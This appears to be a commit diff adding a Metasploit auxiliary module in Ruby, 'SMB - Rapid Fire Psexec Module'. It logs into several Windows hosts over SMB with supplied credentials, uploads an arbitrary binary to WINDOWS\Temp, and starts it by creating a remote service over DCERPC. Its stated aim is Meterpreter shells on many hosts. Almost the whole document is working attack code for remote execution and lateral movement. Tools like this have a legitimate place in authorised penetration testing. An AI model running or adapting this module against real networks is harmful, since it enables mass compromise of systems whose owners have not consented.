1
+ #!/usr/bin/env ruby
2
+
3
+ require 'msf/core'
4
+
5
+ class Metasploit3 < Msf ::Auxiliary
6
+
7
+ # Exploit mixins should be called first
8
+ include Msf ::Exploit ::Remote ::SMB
9
+ include Msf ::Exploit ::Remote ::SMB ::Authenticated
10
+ include Msf ::Auxiliary ::Report
11
+ include Msf ::Auxiliary ::Scanner
12
+ include Msf ::Exploit ::Remote ::DCERPC
13
+
14
+ # Aliases for common classes
15
+ SIMPLE = Rex ::Proto ::SMB ::SimpleClient
16
+ XCEPT = Rex ::Proto ::SMB ::Exceptions
17
+ CONST = Rex ::Proto ::SMB ::Constants
18
+
19
+ def initialize ( info = { } )
20
+ super ( update_info ( info ,
21
+ 'Name' => 'SMB - Rapid Fire Psexec Module' ,
22
+ 'Description' => %q{This module uploads a binary executeable to one or more hosts and fires it off.
23
+ This can be used simarlry to Eric Milam's 'smbexec.sh' script to achieve meterprter shells from
24
+ several hosts. Make sure your multi/handler is set up properly before launching. Note, binaries will be
25
+ left behind in your target's WINDOWS\Temp directory so don't forget to delete them after you are finished.
26
+ } ,
27
+
28
+ 'Author' => [
29
+ 'Royce Davis <rdavis[at]accuvant.com>' ,
30
+ 'Twitter: <[at]R3dy__>' ,
31
+ ] ,
32
+ 'License' => MSF_LICENSE ,
33
+ 'References' => [
34
+ [ 'URL' , 'http://www.pentestgeek.com' ] ,
35
+ [ 'URL' , 'http://www.accuvant.com' ] ,
36
+ [ 'URL' , 'http://sourceforge.net/projects/smbexec/' ] ,
37
+ ] ,
38
+ ) )
39
+
40
+ register_options ( [
41
+ OptString . new ( 'SMBSHARE' , [ true , 'The name of a writeable share on the server' , 'C$' ] ) ,
42
+ OptString . new ( 'LPATH' , [ true , 'The local path to the binary you wish to upload & execute' , '' ] ) ,
43
+ OptString . new ( 'RPORT' , [ true , 'The Target port' , 445 ] ) ,
44
+ ] , self . class )
45
+
46
+ deregister_options ( 'RHOST' )
47
+ end
48
+
49
+
50
+
51
+ #-----------------------
52
+ # Main control method
53
+ #---------------------
54
+ def run_host ( ip )
55
+ exe = "#{ Rex ::Text . rand_text_alpha ( 16 ) } .exe"
56
+ cmd = "C:\\ WINDOWS\\ SYSTEM32\\ cmd.exe"
57
+ text = "\\ WINDOWS\\ Temp\\ #{ Rex ::Text . rand_text_alpha ( 16 ) } .txt"
58
+ #Try and connect to the target
59
+ begin
60
+ connect ( )
61
+ rescue StandardError => connecterror
62
+ print_error ( "Unable to connect to the target. #{ connecterror } " )
63
+ return
64
+ end
65
+
66
+ # Try and authenticate with given credentials
67
+ begin
68
+ smb_login ( )
69
+ rescue StandardError => autherror
70
+ print_error ( "Unable to authenticate with the given credentials." )
71
+ print_error ( "#{ autherror . class } " )
72
+ print_error ( "#{ autherror } " )
73
+ disconnect ( )
74
+ return
75
+ end
76
+
77
+ # Try and execute the module
78
+ smbshare = datastore [ 'SMBSHARE' ]
79
+ begin
80
+ upload_binary ( smbshare , ip , exe , cmd , text )
81
+ execute_binary ( smbshare , ip , exe )
82
+ cleanup_after ( smbshare , ip , cmd , text )
83
+ rescue StandardError => mainerror
84
+ print_error ( "Something went wrong." )
85
+ print_error ( "#{ mainerror . class } " )
86
+ print_error ( "#{ mainerror } " )
87
+ disconnect ( )
88
+ return
89
+ end
90
+ disconnect ( )
91
+ end
92
+
93
+
94
+
95
+ #--------------------------------------------------------------------------------------
96
+ # This method will upload the binary executable to the target's WINDOWS\Temp directory
97
+ #--------------------------------------------------------------------------------------
98
+ def upload_binary ( smbshare , ip , exe , cmd , text )
99
+ print_status ( "Uploading binary to #{ ip } ." )
100
+ begin
101
+ if file_exists ( smbshare , ip , exe , cmd , text )
102
+ print_status ( "Binary already exists on target, no need to re-upload." )
103
+ return
104
+ end
105
+ # Try and upload the binary
106
+ data = ::File . read ( datastore [ 'LPATH' ] , ::File . size ( datastore [ 'LPATH' ] ) )
107
+ if !simple . connect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
108
+ print_error ( "Couldn't mount the share. Make sure you have local admin." )
109
+ return
110
+ end
111
+ remote = simple . open ( "\\ \\ WINDOWS\\ Temp\\ #{ exe } " , 'rwct' )
112
+ remote . write ( data )
113
+ remote . close
114
+ rescue StandardError => uploaderror
115
+ print_error ( "Unable to upload the binary to #{ ip } " )
116
+ print_error ( "#{ uploaderror . class } " )
117
+ print_error ( "#{ uploaderror } " )
118
+ return uploaderror
119
+ end
120
+ simple . disconnect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
121
+ end
122
+
123
+
124
+
125
+ #-----------------------------------------------------
126
+ # Check the remote host to see if a file exists first
127
+ #-----------------------------------------------------
128
+ def file_exists ( smbshare , ip , file , cmd , text )
129
+ begin
130
+ # Try and check the filesystem fo rthe target
131
+ dir = "#{ cmd } /C dir C:\\ WINDOWS\\ Temp > C:#{ text } "
132
+ simple . connect ( smbshare )
133
+ psexec ( smbshare , dir )
134
+ simple . connect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
135
+ remote = simple . open ( "\\ #{ text } " , 'ro' )
136
+ if remote . read . include? ( file )
137
+ remote . close
138
+ simple . disconnect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
139
+ return true
140
+ end
141
+ remote . close
142
+ simple . disconnect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
143
+ rescue StandardError => checkerror
144
+ print_error ( "Unable to verify if file exists." )
145
+ print_error ( "#{ checkerror . class } " )
146
+ print_error ( "#{ checkerror } " )
147
+ return false
148
+ end
149
+ return false
150
+ end
151
+
152
+
153
+
154
+ #----------------------------------------------------------------------------
155
+ # This method calls the uploaded binary. Hopefully you'll get some shellz!!
156
+ #----------------------------------------------------------------------------
157
+ def execute_binary ( smbshare , ip , exe )
158
+ print_status ( "Executing #{ exe } on #{ ip } ." )
159
+ begin
160
+ # Try and run the binary
161
+ command = "C:\\ WINDOWS\\ Temp\\ #{ @exe } "
162
+ simple . connect ( smbshare )
163
+ psexec ( smbshare , command )
164
+ rescue StandardError => executeerror
165
+ print_error ( "Unable to run the binary on #{ ip } . Might have been caught by AV." )
166
+ print_error ( "#{ executeerror . class } " )
167
+ print_error ( "#{ executeerror } " )
168
+ return executeerror
169
+ end
170
+ end
171
+
172
+
173
+
174
+ #----------------------------------------------------------------------------------
175
+ # This is the cleanup method, removes .txt file/s created during execution
176
+ #-----------------------------------------------------------------------------------
177
+ def cleanup_after ( smbshare , ip , cmd , text )
178
+ begin
179
+ # Try and do cleanup command
180
+ cleanup = "#{ cmd } /C del C:#{ text } "
181
+ simple . connect ( smbshare )
182
+ print_status ( "Executing cleanup on host: #{ ip } " )
183
+ psexec ( smbshare , cleanup )
184
+ rescue StandardError => cleanuperror
185
+ print_error ( "Unable to processes cleanup commands." )
186
+ print_error ( "#{ cleanuperror . class } " )
187
+ print_error ( "#{ cleanuperror } " )
188
+ return cleanuperror
189
+ end
190
+ end
191
+
192
+
193
+
194
+ #------------------------------------------------------------------------------------------------------------------------
195
+ # This code was stolen straight out of psexec.rb. Thanks very much for all who contributed to that module!!
196
+ # Instead of uploading and runing a binary. This method runs a single windows command fed into the #{command} paramater
197
+ #------------------------------------------------------------------------------------------------------------------------
198
+ def psexec ( smbshare , command )
199
+ filename = "filename"
200
+ servicename = "servicename"
201
+ simple . disconnect ( smbshare )
202
+
203
+ simple . connect ( "IPC$" )
204
+
205
+ handle = dcerpc_handle ( '367abb81-9844-35f1-ad32-98f038001003' , '2.0' , 'ncacn_np' , [ "\\ svcctl" ] )
206
+ vprint_status ( "Binding to #{ handle } ..." )
207
+ dcerpc_bind ( handle )
208
+ vprint_status ( "Bound to #{ handle } ..." )
209
+
210
+ vprint_status ( "Obtaining a service manager handle..." )
211
+ scm_handle = nil
212
+ stubdata =
213
+ NDR . uwstring ( "\\ \\ #{ rhost } " ) +
214
+ NDR . long ( 0 ) +
215
+ NDR . long ( 0xF003F )
216
+ begin
217
+ response = dcerpc . call ( 0x0f , stubdata )
218
+ if ( dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil )
219
+ scm_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
220
+ end
221
+ rescue ::Exception => e
222
+ print_error ( "Error: #{ e } " )
223
+ return
224
+ end
225
+
226
+ displayname = "displayname"
227
+ holdhandle = scm_handle
228
+ svc_handle = nil
229
+ svc_status = nil
230
+
231
+ stubdata =
232
+ scm_handle +
233
+ NDR . wstring ( servicename ) +
234
+ NDR . uwstring ( displayname ) +
235
+
236
+ NDR . long ( 0x0F01FF ) + # Access: MAX
237
+ NDR . long ( 0x00000110 ) + # Type: Interactive, Own process
238
+ NDR . long ( 0x00000003 ) + # Start: Demand
239
+ NDR . long ( 0x00000000 ) + # Errors: Ignore
240
+ NDR . wstring ( command ) +
241
+ NDR . long ( 0 ) + # LoadOrderGroup
242
+ NDR . long ( 0 ) + # Dependencies
243
+ NDR . long ( 0 ) + # Service Start
244
+ NDR . long ( 0 ) + # Password
245
+ NDR . long ( 0 ) + # Password
246
+ NDR . long ( 0 ) + # Password
247
+ NDR . long ( 0 ) # Password
248
+ begin
249
+ vprint_status ( "Attempting to execute #{ command } " )
250
+ response = dcerpc . call ( 0x0c , stubdata )
251
+ if ( dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil )
252
+ svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
253
+ svc_status = dcerpc . last_response . stub_data [ 24 , 4 ]
254
+ end
255
+ rescue ::Exception => e
256
+ print_error ( "Error: #{ e } " )
257
+ return
258
+ end
259
+
260
+ vprint_status ( "Closing service handle..." )
261
+ begin
262
+ response = dcerpc . call ( 0x0 , svc_handle )
263
+ rescue ::Exception
264
+ end
265
+
266
+ vprint_status ( "Opening service..." )
267
+ begin
268
+ stubdata =
269
+ scm_handle +
270
+ NDR . wstring ( servicename ) +
271
+ NDR . long ( 0xF01FF )
272
+
273
+ response = dcerpc . call ( 0x10 , stubdata )
274
+ if ( dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil )
275
+ svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
276
+ end
277
+ rescue ::Exception => e
278
+ print_error ( "Error: #{ e } " )
279
+ return
280
+ end
281
+
282
+ vprint_status ( "Starting the service..." )
283
+ stubdata =
284
+ svc_handle +
285
+ NDR . long ( 0 ) +
286
+ NDR . long ( 0 )
287
+ begin
288
+ response = dcerpc . call ( 0x13 , stubdata )
289
+ if ( dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil )
290
+ end
291
+ rescue ::Exception => e
292
+ print_error ( "Error: #{ e } " )
293
+ return
294
+ end
295
+
296
+ vprint_status ( "Removing the service..." )
297
+ stubdata =
298
+ svc_handle +
299
+ NDR . wstring ( "C:\\ WINDOWS\\ Temp\\ msfcommandoutput.txt" )
300
+ begin
301
+ response = dcerpc . call ( 0x02 , stubdata )
302
+ if ( dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil )
303
+ end
304
+ rescue ::Exception => e
305
+ print_error ( "Error: #{ e } " )
306
+ end
307
+
308
+ vprint_status ( "Closing service handle..." )
309
+ begin
310
+ response = dcerpc . call ( 0x0 , svc_handle )
311
+ rescue ::Exception => e
312
+ print_error ( "Error: #{ e } " )
313
+ end
314
+
315
+ begin
316
+ #print_status("Deleting \\#{filename}...")
317
+ select ( nil , nil , nil , 1.0 )
318
+ #This is not really useful but will prevent double \\ on the wire :)
319
+ if datastore [ 'SHARE' ] =~ /.[\\ \/ ]/
320
+ simple . connect ( smbshare )
321
+ simple . delete ( "C:\\ WINDOWS\\ Temp\\ msfcommandoutput.txt" )
322
+ else
323
+ simple . connect ( smbshare )
324
+ simple . delete ( "C:\\ WINDOWS\\ Temp\\ msfcommandoutput.txt" )
325
+ end
326
+
327
+ rescue ::Interrupt
328
+ raise $!
329
+ rescue ::Exception
330
+ #raise $!
331
+ end
332
+ simple . disconnect ( "IPC$" )
333
+ simple . disconnect ( smbshare )
334
+ end
335
+
336
+ end
0 commit comments